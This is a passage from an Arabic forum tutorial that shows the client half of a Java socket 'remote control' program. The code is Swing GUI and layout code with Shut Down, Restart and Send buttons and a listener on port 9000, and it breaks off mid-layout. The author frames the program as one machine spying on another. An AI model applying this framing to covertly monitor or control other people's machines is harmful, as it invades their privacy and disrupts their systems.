تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
الاتصال عن بعد من خلال الجافا .. Remote Control
#1
كاتب الموضوع : Friendassist


بسم الله الرحمن الرحيم

مثال اليوم هو برنامج صغير عبارة عن برنامج عميل و خادم أحدهما يتجسس علي الآخر
حيث يقوم العميل باستقبال الرسائل من خلال صناديق الحوار و التي سيتم شرحها
تفصيلا في الموضوع القادم ان شاء الله ..

كما ايضا يمكن عمل اعادة تشغيل او اغلاق لجهاز الخادم و هو مثال بسيط يمكن
تصميمة بعدة طرق و افكار أخري و هذه احدي الطرق ..

اولا : برنامج العميل و هو علي النحو التالي ...





الفئات المستخدمة في المشروع مع بعض الدوال الهامة ...

كود :
[color=#000000][COLOR=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]net[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JOptionPane[/color][COLOR=#007700];
[/COLOR][color=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]io[/color][COLOR=#007700].*;

public class [/COLOR][color=#0000bb]Frame [/color][color=#007700]extends [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JFrame [/color][COLOR=#007700]{

[/COLOR][color=#0000bb]ServerSocket Servers[/color][COLOR=#007700];
[/COLOR][color=#0000bb]Socket soc[/color][COLOR=#007700];
[/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
[/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];
  
public class [/COLOR][color=#0000bb]CnnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
     public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
         try{
          [/COLOR][color=#0000bb]Servers [/color][color=#007700]= new [/color][color=#0000bb]ServerSocket[/color][color=#007700]([/color][color=#0000bb]9000[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]soc [/color][color=#007700]= [/color][color=#0000bb]Servers[/color][color=#007700].[/color][color=#0000bb]accept[/color][COLOR=#007700]();
          [/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
          [/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
          [/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnSend[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnTurnOff[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnRestart[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
         }catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){
           [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]getMessage[/color][COLOR=#007700]());
         }
     }
}  
[/COLOR][color=#0000bb][/color][/COLOR]


كود :
[color=#000000][COLOR=#0000bb]  [/color][color=#007700]public [/color][color=#0000bb]Frame[/color][COLOR=#007700]() {
        [/COLOR][color=#0000bb]initComponents[/color][COLOR=#007700]();
    }
    @[/COLOR][color=#0000bb]SuppressWarnings[/color][color=#007700]([/color][color=#dd0000]"unchecked"[/color][COLOR=#007700])
    [/COLOR][COLOR=#ff8000]// <editor-fold defaultstate="collapsed" desc="Generated Code">
    [/COLOR][color=#007700]private [/color][color=#0000bb]void initComponents[/color][COLOR=#007700]() {

        [/COLOR][color=#0000bb]jPanel1 [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JPanel[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]btnTurnOff [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JButton[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]btnRestart [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JButton[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]jPanel2 [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JPanel[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]jLabel1 [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JLabel[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]lblState [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JLabel[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]jLabel3 [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JLabel[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]jTextField1 [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JTextField[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]btnSend [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JButton[/color][COLOR=#007700]();

        [/COLOR][color=#0000bb]setDefaultCloseOperation[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]WindowConstants[/color][color=#007700].[/color][color=#0000bb]EXIT_ON_CLOSE[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]addWindowListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowAdapter[/color][COLOR=#007700]() {
            public [/COLOR][color=#0000bb]void windowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {
                [/COLOR][color=#0000bb]formWindowOpened[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
            }
        });

        [/COLOR][color=#0000bb]jPanel1[/color][color=#007700].[/color][color=#0000bb]setBorder[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]BorderFactory[/color][color=#007700].[/color][color=#0000bb]createEtchedBorder[/color][COLOR=#007700]());

        [/COLOR][color=#0000bb]btnTurnOff[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Shut Down"[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]btnTurnOff[/color][color=#007700].[/color][color=#0000bb]addActionListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionListener[/color][COLOR=#007700]() {
            public [/COLOR][color=#0000bb]void actionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {
                [/COLOR][color=#0000bb]btnTurnOffActionPerformed[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
            }
        });

        [/COLOR][color=#0000bb]btnRestart[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Restart"[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]btnRestart[/color][color=#007700].[/color][color=#0000bb]addActionListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionListener[/color][COLOR=#007700]() {
            public [/COLOR][color=#0000bb]void actionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {
                [/COLOR][color=#0000bb]btnRestartActionPerformed[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
            }
        });

        [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout jPanel1Layout [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700]([/color][color=#0000bb]jPanel1[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jPanel1[/color][color=#007700].[/color][color=#0000bb]setLayout[/color][color=#007700]([/color][color=#0000bb]jPanel1Layout[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]setHorizontalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnTurnOff[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]116[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][color=#007700], [/color][color=#0000bb]146[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnRestart[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]107[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]())
        );
        [/COLOR][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]setVerticalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel1Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]BASELINE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnTurnOff[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]35[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnRestart[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]32[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700]))
                .[/COLOR][color=#0000bb]addContainerGap[/color][color=#007700]([/color][color=#0000bb]12[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700]))
        );

        [/COLOR][color=#0000bb]jPanel2[/color][color=#007700].[/color][color=#0000bb]setBorder[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]BorderFactory[/color][color=#007700].[/color][color=#0000bb]createEtchedBorder[/color][COLOR=#007700]());

        [/COLOR][color=#0000bb]jLabel1[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"State :"[/color][COLOR=#007700]);

        [/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]setForeground[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]Color[/color][color=#007700]([/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]255[/color][COLOR=#007700]));
        [/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Not Connected "[/color][COLOR=#007700]);

        [/COLOR][color=#0000bb]jLabel3[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Your Message :"[/color][COLOR=#007700]);

        [/COLOR][color=#0000bb]btnSend[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Send"[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]btnSend[/color][color=#007700].[/color][color=#0000bb]addActionListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionListener[/color][COLOR=#007700]() {
            public [/COLOR][color=#0000bb]void actionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {
                [/COLOR][color=#0000bb]btnSendActionPerformed[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
            }
        });

        [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout jPanel2Layout [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700]([/color][color=#0000bb]jPanel2[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jPanel2[/color][color=#007700].[/color][color=#0000bb]setLayout[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]setHorizontalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                        .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jLabel1[/color][COLOR=#007700])
                        .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][COLOR=#007700])
                        .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]lblState[/color][COLOR=#007700]))
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jLabel3[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]TRAILING[/color][color=#007700], [/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                        .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jTextField1[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]306[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
                        .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][COLOR=#007700])
                        .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnSend[/color][COLOR=#007700])))
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]())
        );
        [/COLOR][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]setVerticalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]BASELINE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jLabel1[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]lblState[/color][COLOR=#007700]))
                .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jLabel3[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]jPanel2Layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]BASELINE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jTextField1[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]btnSend[/color][COLOR=#007700]))
                .[/COLOR][color=#0000bb]addContainerGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700]))
        );

        [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout layout [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700]([/color][color=#0000bb]getContentPane[/color][COLOR=#007700]());
        [/COLOR][color=#0000bb]getContentPane[/color][color=#007700]().[/color][color=#0000bb]setLayout[/color][color=#007700]([/color][color=#0000bb]layout[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setHorizontalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jPanel1[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                    .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jPanel2[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700]))
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]())
        );
        [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setVerticalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGroup[/color][color=#007700]([/color][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createSequentialGroup[/color][COLOR=#007700]()
                .[/COLOR][color=#0000bb]addContainerGap[/color][COLOR=#007700]()
